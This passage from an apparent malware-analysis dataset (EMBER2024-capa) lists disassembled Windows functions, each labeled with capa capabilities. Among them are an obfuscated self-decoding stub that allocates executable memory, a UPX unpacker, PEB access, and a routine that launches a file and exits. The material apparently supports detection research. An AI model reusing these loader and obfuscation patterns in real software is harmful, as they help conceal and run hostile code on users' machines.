joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ca6d0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jns 0x4ca6e8
call dword [sym.imp.MSVCRT.dll__errno]
mov dword [eax], 9
or eax, 0xffffffff
ret
cmp dword [esp + 0xc], 0
jne 0x4ca6f2
xor eax, eax
ret
push eax
call dword [sym.imp.MSVCRT.dll__get_osfhandle]
add esp, 4
lea ecx, [esp + 4]
push 0
push ecx
push dword [esp + 0x14]
push dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4ca75a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe8
jne 0x4ca733
call dword [sym.imp.MSVCRT.dll__errno]
mov dword [eax], 0xb
or eax, 0xffffffff
ret
cmp eax, 0x6d
je 0x4ca6ef
cmp eax, 5
jne 0x4ca74d
call dword [sym.imp.MSVCRT.dll__errno]
mov dword [eax], 9
or eax, 0xffffffff
ret
push eax
call fcn.004ca400
add esp, 4
or eax, 0xffffffff
ret
mov eax, dword [esp + 4]
ret

Function at 0x4ca990
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jns 0x4ca9a8
call dword [sym.imp.MSVCRT.dll__errno]
mov dword [eax], 9
or eax, 0xffffffff
ret
push 0
lea ecx, [esp + 8]
push ecx
push dword [esp + 0x14]
push dword [esp + 0x14]
push eax
call dword [sym.imp.MSVCRT.dll__get_osfhandle]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4ca9f4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x4ca9e7
call dword [sym.imp.MSVCRT.dll__errno]
mov dword [eax], 9
or eax, 0xffffffff
ret
push eax
call fcn.004ca400
add esp, 4
or eax, 0xffffffff
ret
mov eax, dword [esp + 4]
ret

Function at 0x4d8fc0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [eax + 0x38]
mov bl, byte [eax + 0x34]
test esi, esi
jle 0x4d8ffb
mov edx, dword [eax + 0x260]
push edi
movzx edi, bl
lea ebx, [ebx]
mov ecx, edx
shl edx, 8
shr ecx, 0x18
xor ecx, edi
xor edx, dword [ecx*4 + 0x22464d8]
mov dword [eax + 0x260], edx
dec esi
jne 0x4d8fe0
pop edi
mov ecx, dword [eax + 0x34]
mov byte [eax + ecx + 0x58], 1
mov edx, dword [eax + 0x38]
mov ecx, edx
dec ecx
je 0x4d9082
dec ecx
je 0x4d9067
dec ecx
je 0x4d905b
mov byte [edx + eax + 0x54], 1
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov esi, dword [eax + 0x44]
mov dl, byte [eax + 0x38]
mov ecx, dword [eax + 0x24]
sub dl, 4
mov byte [esi + ecx], dl
inc dword [eax + 0x44]
pop esi
pop ebx
ret
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
pop esi
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
mov edx, dword [eax + 0x44]
mov ecx, dword [eax + 0x24]
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
pop ebx
ret
mov ecx, dword [eax + 0x44]
mov edx, dword [eax + 0x24]
pop esi
mov byte [edx + ecx], bl
inc dword [eax + 0x44]
pop ebx
ret
Function at 0x4e8ba0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x4e8bc0
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x4e8bc0
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4e8bc0
push dword [esp + 8]
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4f976c
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x22c33a8], 0
push ebx
push esi
mov esi, 0x22c33b0
jne 0x4f9798
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x22c33c8], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x22c33a8], 1
push dword [0x22c33c8]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x4f9835
push 0x14
push 8
push dword [0x2249918]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x4f985f
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x22c33ac]
test eax, eax
je 0x4f97da
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x22c33ac], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x4f9864
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x22c33c8]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x2249918]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x4f985f
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x4f9ed9
Capabilities:
Set thread local storage value

Disassembly:
push esi
push 0x184
push 8
push dword [0x2249918]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push esi
push dword [0x22c3854]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push dword [esp + 8]
mov dword [0x22c3858], esi
and dword [esi + 0xa8], 0
or dword [esi + 0xac], 0xffffffff
or dword [esi + 0xb0], 0xffffffff
push esi
mov dword [esi + 0xa4], 0xffffff
mov dword [esi + 0x74], 2
mov dword [esi + 0x78], 0x3f
call fcn.004fcae9
mov dword [esi + 0x58], 0x4faaec
mov eax, esi
mov dword [esi + 0x5c], 0x4fab38
mov dword [esi + 0x10], fcn.004fa68d
mov dword [esi + 0x30], 0x4fa57f
mov dword [esi + 0x64], 0x4fabc2
mov dword [esi + 0x60], 0x4fab7a
mov dword [esi + 0x34], 0x4fa22f
mov dword [esi + 0x24], 0x4fa206
mov dword [esi + 0x28], 0x4fa1db
mov dword [esi + 0x2c], 0x4fa12d
mov dword [esi + 0x44], 0x4fa8f2
pop esi
ret 4
Function at 0x4ffdb3
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ecx
mov edx, dword [esp + 0x2c]
push esi
mov esi, dword [esp + 0x10]
mov eax, dword [esi + 0xd4]
mov dword [esp + 4], eax
test edx, edx
je 0x4ffe69
imul eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
imul ecx, dword [esp + 0x28]
push ebx
mov ebx, dword [esp + 0x24]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x1c]
neg eax
add ecx, dword [esp + 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x28]
push ebp
push edi
lea edi, [ecx + eax*4]
mov eax, dword [esp + 0x28]
mov ecx, dword [esi + 0xcc]
mov ebp, edi
imul ecx, ebx
add ecx, dword [esi + 0xc8]
add ecx, eax
cmp dword [esp + 0x38], 0
jle 0x4ffe49
mov edx, dword [esp + 0x38]
mov esi, dword [esp + 0x10]
mov al, byte [ebp + 2]
xor byte [ecx + 2], al
mov al, byte [ebp + 1]
xor byte [ecx + 1], al
mov al, byte [ebp]
lea ebp, [ebp + 4]
xor byte [ecx], al
add ecx, esi
dec edx
jne 0x4ffe24
mov edx, dword [esp + 0x3c]
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
dec edx
inc ebx
cmp dword [esi + 0xe8], 0
mov dword [esp + 0x3c], edx
jne 0x4ffe5e
add edi, dword [esp + 0x14]
jmp 0x4ffe62
add edi, dword [esp + 0x24]
test edx, edx
jne 0x4ffe02
pop edi
pop ebp
pop ebx
pop esi
pop ecx
pop ecx
ret 0x24

Function at 0x500174
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
push ecx
imul edx, dword [esp + 0x28], 3
push ebx
mov ebx, dword [esp + 0x30]
mov dword [esp + 8], edx
test ebx, ebx
je 0x50024e
imul eax, dword [esp + 0x1c], 3
mov ecx, dword [esp + 0x18]
push ebp
mov ebp, dword [esp + 0x24]
neg ecx
push esi
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x20]
imul eax, dword [esp + 0x30]
push edi
imul edi, dword [esp + 0x30], 3
mov dword [esp + 0x10], ecx
add eax, dword [esp + 0x20]
add edi, eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x38], edi
mov esi, dword [eax + 0xcc]
imul esi, ebp
mov dword [esp + 0x34], edi
add esi, dword [eax + 0xc8]
add esi, dword [esp + 0x28]
test edx, edx
jle 0x500224
mov ebp, dword [esp + 0x34]
mov ebx, 0xff
sub ebx, dword [esp + 0x40]
mov edi, edx
movzx eax, byte [esi]
movzx ecx, byte [ebp]
imul ecx, dword [esp + 0x40]
imul eax, ebx
add eax, ecx
mov ecx, 0xff
cdq
idiv ecx
inc ebp
mov byte [esi], al
inc esi
dec edi
jne 0x5001ec
mov edi, dword [esp + 0x38]
mov ebx, dword [esp + 0x3c]
mov ebp, dword [esp + 0x2c]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
dec ebx
inc ebp
cmp dword [eax + 0xe8], 0
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x2c], ebp
jne 0x50023b
add edi, ecx
jmp 0x50023f
add edi, dword [esp + 0x24]
mov dword [esp + 0x38], edi
test ebx, ebx
jne 0x5001c2
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 0x28
Function at 0x50086e
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ecx
push esi
mov esi, dword [esp + 0x30]
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 0xd4]
mov dword [esp + 8], eax
test esi, esi
je 0x500923
imul eax, dword [esp + 0x20]
imul edx, dword [esp + 0x28], 3
push ebx
mov ebx, dword [esp + 0x28]
push ebp
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x24]
neg eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x24]
imul eax, dword [esp + 0x34]
add eax, dword [esp + 0x20]
add edx, eax
mov eax, dword [esp + 0x28]
mov ecx, dword [edi + 0xcc]
mov ebp, edx
imul ecx, ebx
add ecx, dword [edi + 0xc8]
add ecx, eax
cmp dword [esp + 0x38], 0
jle 0x500904
mov esi, dword [esp + 0x38]
mov edi, dword [esp + 0x10]
mov al, byte [ebp + 2]
xor byte [ecx + 2], al
mov al, byte [ebp + 1]
xor byte [ecx + 1], al
mov al, byte [ebp]
lea ebp, [ebp + 3]
xor byte [ecx], al
add ecx, edi
dec esi
jne 0x5008df
mov esi, dword [esp + 0x3c]
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
dec esi
inc ebx
cmp dword [edi + 0xe8], 0
mov dword [esp + 0x3c], esi
jne 0x500919
add edx, dword [esp + 0x14]
jmp 0x50091d
add edx, dword [esp + 0x24]
test esi, esi
jne 0x5008bd
pop ebp
pop ebx
pop edi
pop esi
pop ecx
pop ecx
ret 0x24
Function at 0x4c5930
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x83000]
push edi
jmp 0x4c594a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4c5951
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c5940
mov eax, 1
add ebx, ebx
jne 0x4c5963
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4c5974
jne 0x4c5993
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c5993
dec eax
add ebx, ebx
jne 0x4c5980
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4c5958
add ebx, ebx
jne 0x4c598f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4c59e5
xor ecx, ecx
sub eax, 3
jb 0x4c59ab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4c5a1a
sar eax, 1
mov ebp, eax
jmp 0x4c59b6
add ebx, ebx
jne 0x4c59b6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c5984
inc ecx
add ebx, ebx
jne 0x4c59c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c5984
add ebx, ebx
jne 0x4c59d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4c59c6
jne 0x4c59e2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4c59c6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4c5a04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4c59f6
jmp 0x4c5946
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4c5a04
add edi, ecx
jmp 0x4c5946
pop esi
mov edi, esi
mov ecx, 0x374d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4c5a22
cmp byte [edi], 0x22
jne 0x4c5a22
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4c5a27
lea edi, [esi + 0xc1000]
mov eax, dword [edi]
or eax, eax
je 0x4c5a9f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd9788]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd98dc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4c5a54
mov ecx, edi
jns 0x4c5a83
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd98e0]
or eax, eax
je 0x4c5a99
mov dword [ebx], eax
add ebx, 4
jmp 0x4c5a71
call dword [esi + 0xd98f0]
mov ebp, dword [esi + 0xd98e4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4c5ad3
sub esp, 0xffffff80
jmp 0x416781
Function at 0x41a50c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x41a51b
pop dword [ebp - 0x2c]
mov eax, 0x31aa3c3d
sub eax, 0x31689722
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x52abc
push 0
mov eax, 0x3021ae83
add eax, 0xd0230439
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0xa0d449cc
sub ecx, 0xa0d3f6ce
mov edx, eax
mov ebx, 0x99586574
sub ebx, 0x990fe774
add ebx, dword [ebp - 0x2c]
mov esi, 0x7e5a9f31
add dword [ebp - 8], edi
mov edi, dword [ebx]
sub dword [ebp - 0x14], 0xb7ff0deb
sub edi, esi
xor dword [ebp - 0x20], 0x8353aa8b
mov dword [edx], edi
mov dword [ebp - 0xc], 0x15ccd64d
add edx, 0xbbbb297c
add edx, 0x4444d688
add ebx, 0x479e55e0
add ebx, 0xb861aa24
loop 0x41a574
add eax, 0x1801f6a0
add eax, 0xe7ff482b
mov ebx, eax
add eax, 5
mov ecx, 0x84103326
sub ecx, 0x83d03326
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x441630
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x44175d
sub esp, 0x2c
mov ecx, dword [esp + 0x34]
test ecx, ecx
setne dl
mov ebx, dword [esp + 0x30]
test ebx, ebx
xchg ebp, ebx
setne bl
xchg ebp, ebx
or edx, ebp
test dl, dl
je 0x441754
mov edx, dword [0x7201dc]
cmp ecx, edx
xchg ebp, ebx
sete bl
xchg ebp, ebx
mov esi, dword [0x7201d8]
cmp ebx, esi
xchg esi, ebx
setb bl
xchg esi, ebx
and ebp, esi
cmp ecx, edx
setl dl
or ebp, edx
xchg ebp, eax
test al, al
xchg ebp, eax
je 0x44174b
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x30], ecx
mov edx, dword fs:[0x14]
mov edx, dword [edx]
mov edx, dword [edx + 0x18]
mov edx, dword [edx + 0x4c]
mov ebx, dword [edx + 0x7c]
add ebx, 1
mov ebp, dword [edx + 0x80]
mov dword [edx + 0x7c], ebx
adc ebp, 0
mov dword [edx + 0x80], ebp
mov ebx, dword [edx + 0x18]
mov ebx, dword [ebx + 0x54]
mov dword [edx + 0x84], ebx
lea edi, [esp + 0x14]
mov ebx, eax
xor eax, eax
call fcn.0044bdea
mov ecx, dword [edx + 0x54]
mov ebp, dword [edx + 0x50]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ecx
mov ecx, dword [edx + 0x80]
mov edx, dword [edx + 0x7c]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x30]
shr ecx, 6
mov edx, ebx
shl ebx, 0x1a
or ecx, ebx
mov dword [esp + 0x24], ecx
shr edx, 6
mov dword [esp + 0x28], edx
mov byte [esp], 0x1d
mov dword [esp + 4], 0xffffffff
lea ecx, [esp + 0x14]
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 3
mov dword [esp + 0x10], 3
call fcn.0043ff80
add esp, 0x2c
ret
mov eax, ecx
mov ecx, ebx
jmp 0x44169e
mov eax, ecx
mov ecx, ebx
jmp 0x44169e
call fcn.0044a1d0
jmp fcn.00441630
Function at 0x44c850
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push dword fs:[0x14]
mov edx, esp
sub esp, 0x224
mov dword [esp], esp
mov dword [esp + 4], 0x224
call fcn.0044c310
lea ecx, [esp + 0x30]
mov dword fs:[0x14], ecx
mov ebx, esp
sub esp, 0xd4
mov dword [ecx], esp
mov dword [ebx], esp
mov dword [esp], esp
mov dword [esp + 4], 0xd4
call fcn.0044c310
lea ebx, [esp + 0xd4]
mov dword [esp + 0x18], ebx
lea ecx, [esp - 0x8000]
mov dword [esp], ecx
add ecx, 0xb70
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 4], edx
push eax
push dword [ebp + 0x10]
call dword [ebp + 8]
pop ecx
pop eax
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov esp, dword [ecx + 4]
pop dword fs:[0x14]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401420
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x228
mov eax, dword [0x420040]
xor eax, esp
mov dword [esp + 0x224], eax
push esi
push edi
mov edi, dword [ebp + 8]
lea esi, [esp + 8]
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
call fcn.00402400
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x2a]
push ecx
mov word [esp + 0x2c], ax
call fcn.00410fc0
add esp, 0xc
call fcn.004024b0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401a00
test eax, eax
je 0x401498
call fcn.00403350
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x422140
push 0x67
push edi
call esi
push 0x64
push 0x422078
push 0x6d
push edi
call esi
mov eax, edi
call fcn.00401600
push 0
push edi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x422140
push 0x422078
push 0
mov dword [0x422208], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x4014fc
call fcn.00401690
test eax, eax
jne 0x401514
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.004090f6
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov eax, dword [0x422888]
test eax, eax
jbe 0x40154c
cmp word [0x42288c], 0
jbe 0x40154c
push eax
mov esi, 0x42107c
call fcn.00403cf0
mov dx, word [0x42288c]
add esp, 4
mov word [0x42108c], dx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push 0x41ccf8
mov edx, 0x422e00
call fcn.004023e0
call fcn.00403dd0
lea esi, [esp + 0x28]
call fcn.00403d70
push 0x41cd10
mov edx, esi
push 0x104
push edx
call fcn.00409105
add esp, 0x14
push 0x422e00
mov eax, esi
push 0x104
push eax
call fcn.00409105
add esp, 0xc
mov ecx, esi
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4015e0
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x41ccf4
mov edx, esi
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401190
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401690
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x3e8
mov eax, dword [0x420040]
xor eax, esp
mov dword [esp + 0x3e0], eax
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1e2]
push ecx
mov word [esp + 0x1e4], ax
call fcn.00410fc0
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x422a00
call fcn.004025c0
add esp, 4
test eax, eax
jne 0x4017d9
push 0x3a
push eax
lea ecx, [esp + 0x1a6]
push ecx
mov word [esp + 0x1a8], ax
call fcn.00410fc0
add esp, 0xc
lea edi, [esp + 0x19c]
call fcn.004034f0
xor eax, eax
jmp 0x401720
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x422ba8], cx
add eax, 2
test cx, cx
jne 0x401720
push 0x41cd14
push 0x40
push 0x422a04
call fcn.0040918d
add esp, 0xc
push 0x41cd30
push 0x10
push 0x422a86
call fcn.0040918d
add esp, 0xc
push 0x41cd3c
push 0x40
push 0x422aa6
call fcn.0040918d
mov eax, 0x2b70
mov edx, 0x51
add esp, 0xc
mov word [0x422b26], ax
mov word [0x422a84], dx
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x422b88], cx
add eax, 2
test cx, cx
jne 0x401790
mov eax, 0x422b88
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x4017b0
mov ecx, dword [0x41cd58]
mov dx, word [0x41cd5c]
mov dword [eax], ecx
mov word [eax + 4], dx
mov dword [0x422bc8], 5
call fcn.00403590
lea edi, [esp + 0x1d8]
call fcn.004034f0
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x1d8]
mov word [eax + 0x4229c0], cx
add eax, 2
test cx, cx
jne 0x4017f0
push 0x4229c0
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x40183c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
mov ecx, dword [esp + 0x3e0]
xor ecx, esp
call fcn.004090f6
add esp, 0x3e8
ret
push 0x4229c0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401824
mov ecx, 0x422c00
call fcn.00401000
mov eax, dword [0x422bcc]
push 0
push 0
push 0
push 0x403c30
push 0
push 0
mov dword [0x422c08], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x3e4]
pop edi
xor ecx, esp
mov eax, 1
call fcn.004090f6
add esp, 0x3e8
ret